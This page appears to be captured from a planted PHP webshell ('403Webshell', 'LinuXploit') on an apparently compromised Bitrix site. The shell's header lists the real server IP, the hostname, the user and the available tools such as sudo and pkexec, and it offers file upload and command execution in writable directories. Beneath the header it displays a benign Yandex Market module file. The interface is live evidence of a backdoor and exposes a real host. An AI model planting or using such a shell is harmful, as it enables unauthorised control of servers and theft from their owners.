403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/ui/trading/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/ui/trading/cancelreasoncreator.php
<?php

namespace Yandex\Market\Ui\Trading;

use Bitrix\Main;
use Yandex\Market;
use Yandex\Market\Trading\Service as TradingService;

class CancelReasonCreator extends Reference\PropertyCreator
{
	use Market\Reference\Concerns\HasMessage;

	protected function searchUsedProperties()
	{
		$result = [];

		foreach (Market\Trading\Setup\Model::loadList() as $setup)
		{
			$service = $setup->getService();
			$options = $service->getOptions();

			if (!($service instanceof TradingService\Reference\HasCancelReason)) { continue; }
			if (!method_exists($options, 'getProperty')) { continue; }

			$setup->wakeupService();

			$propertyId = (int)$options->getProperty('REASON_CANCELED');

			if ($propertyId <= 0) { continue; }

			$result[$propertyId] = $this->makePropertyFields($service);
		}

		return array_unique($result);
	}

	protected function makePropertyFields(TradingService\Reference\Provider $service)
	{
		$cancelReason = $this->getCancelReason($service);

		return [
			'TYPE' => 'ENUM',
			'NAME' => static::getMessage('NAME', null, 'CANCEL_REASON'),
			'CODE' => 'MARKET_CANCEL_REASON',
			'VARIANTS' => $this->makePropertyEnum($cancelReason),
		];
	}

	protected function makePropertyEnum(TradingService\Reference\CancelReason $cancelReason)
	{
		$result = [];

		foreach ($cancelReason->getVariants() as $variant)
		{
			$result[] = [
				'ID' => $variant,
				'VALUE' => $cancelReason->getTitle($variant),
			];
		}

		return $result;
	}

	protected function getCancelReason(TradingService\Reference\Provider $service)
	{
		if (!($service instanceof TradingService\Reference\HasCancelReason))
		{
			throw new Main\NotSupportedException('service hasn\'t cancel reason entity');
		}

		return $service->getCancelReason();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit